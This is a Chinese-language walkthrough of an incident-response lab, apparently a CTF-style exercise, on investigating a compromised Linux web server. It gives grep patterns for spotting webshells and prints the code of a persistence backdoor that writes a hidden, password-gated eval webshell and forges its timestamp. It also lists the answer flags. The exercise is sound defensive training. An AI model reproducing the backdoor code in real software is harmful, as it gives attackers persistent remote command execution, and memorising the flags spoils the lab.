第一章 应急响应- Linux入侵排查
手工排查
1.web目录存在木马,请找到木马的密码提交
先确定服务器使用的是什么语言,从而判断是什么文件类型的webshell//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ -type f -name "*.jsp" | xargs grep "exec("
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.asp" | xargs grep "execute("
find ./ -type f -name "*.aspx" | xargs grep "eval("
//对于免杀Webshell,可以查看是否使用编码
find ./ -type f -name "*.php" | xargs grep “base64_decode”
**find ./ -type f -name "*.php"**
find
:这是一个用于搜索文件和目录的命令。./
:表示当前目录及其子目录。-type f
:表示只搜索文件(不包括目录)。-name "*.php"
:表示只搜索扩展名为.php
的文件。- 管道符,将前一个命令的输出作为下一个命令的输入。
**xargs grep "eval("**
xargs
:将标准输入的数据转换为命令行参数。它会将find
命令的输出传递给grep
。grep "eval("
:搜索包含字符串eval(
的行。
通过find搜索,木马的密码不是cmd就是1
flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交
不死马是一种具有持久性的后门程序,它被设计用来在受感染的系统上长期驻留并保持活跃。其目的是确保攻击者对系统的访问不会因为系统重启或其他干预措施而中断。《不死马》特征
持久性:自启动:通过修改系统启动项、服务、计划任务等方式实现自启动。文件隐藏:使用技术手段隐藏自身文件,避免被发现和删除。多重存在:可能在多个位置部署副本,增强存活能力。隐蔽性:低调运行:以低优先级运行,不占用过多系统资源,减少被注意的可能。多态性:定期更改自身代码或行为模式,规避签名检测。日志清除:清除自身操作痕迹,减少被追踪的可能。多样化的保持机制:启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改 rc.local 或 crontab。服务劫持:创建或劫持合法的系统服务。计划任务:在系统计划任务中添加恶意任务。
在这里我们无法执行crontab -l
cat /etc/rc.local
ls /etc/init.d/
systemctl list-unit-files --type=service
我们重新看一下刚刚的三个文件
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
index.php是不死马,它的核心是在html目录下创建一个.shell.php的后门文件,并伪造时间戳, 然后通过 md5
哈希验证密码后,执行传入的命令。
- 微小延时:
usleep(3000);
- 使用
usleep
函数增加 3000 微秒(3 毫秒)的延时,虽然这个延时很短,但可能用于调节执行的节奏,以掩盖其操作痕迹。
我们解密一下md5的值
flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名
这个我们根据上一题已经知道了,flag{index.php}4.黑客留下了木马文件,请找出黑客的服务器ip提交
通过查看日志进行查找,看看是不是都没有
还有一个可疑的文件’shell(1).elf’
.elf文件
.elf 文件是指可执行与可链接格式(Executable and Linkable Format, ELF),它是一种常见的文件格式,用于存储可执行文件、目标代码、共享库以及核心转储(core dump)。ELF 文件主要在 Unix 和 Unix-like 操作系统中使用,包括 Linux、BSD、Solaris 等。
我们通过赋予’shell(1).elf’权限,执行进行一个提权,执行命令
需要再开一个ssh连接
netstat -antlp | more 这个命令组合了 netstat 和 more 两个命令,用于显示网络连接和监听端口的详细信息,并通过分页方式呈现输出内容。下面是对每个部分的详细分析:
netstat 命令
netstat 是一个网络工具,用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。
选项和参数
-a:显示所有连接中的端口,包括监听和非监听。-n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。-t:显示 TCP 连接。-l:显示监听状态的套接字。-p:显示使用每个套接字的程序。
字段解释
Proto:协议(Protocol)显示协议类型,常见的有 tcp 和 udp。Recv-Q:接收队列(Receive Queue)显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。Send-Q:发送队列(Send Queue)显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。Local Address:本地地址显示本地端的 IP 地址和端口号。例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。Foreign Address:远程地址显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.1 的 12345 端口。State:状态显示连接的状态。常见状态有:LISTEN:正在监听连接。ESTABLISHED:已建立连接。CLOSE_WAIT:等待关闭连接。TIME_WAIT:等待足够的时间以确保远程主机收到关闭请求。PID/Program name:进程 ID 和程序名显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。
flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
flag{3333}工具测试
右键查看就能够看到木马了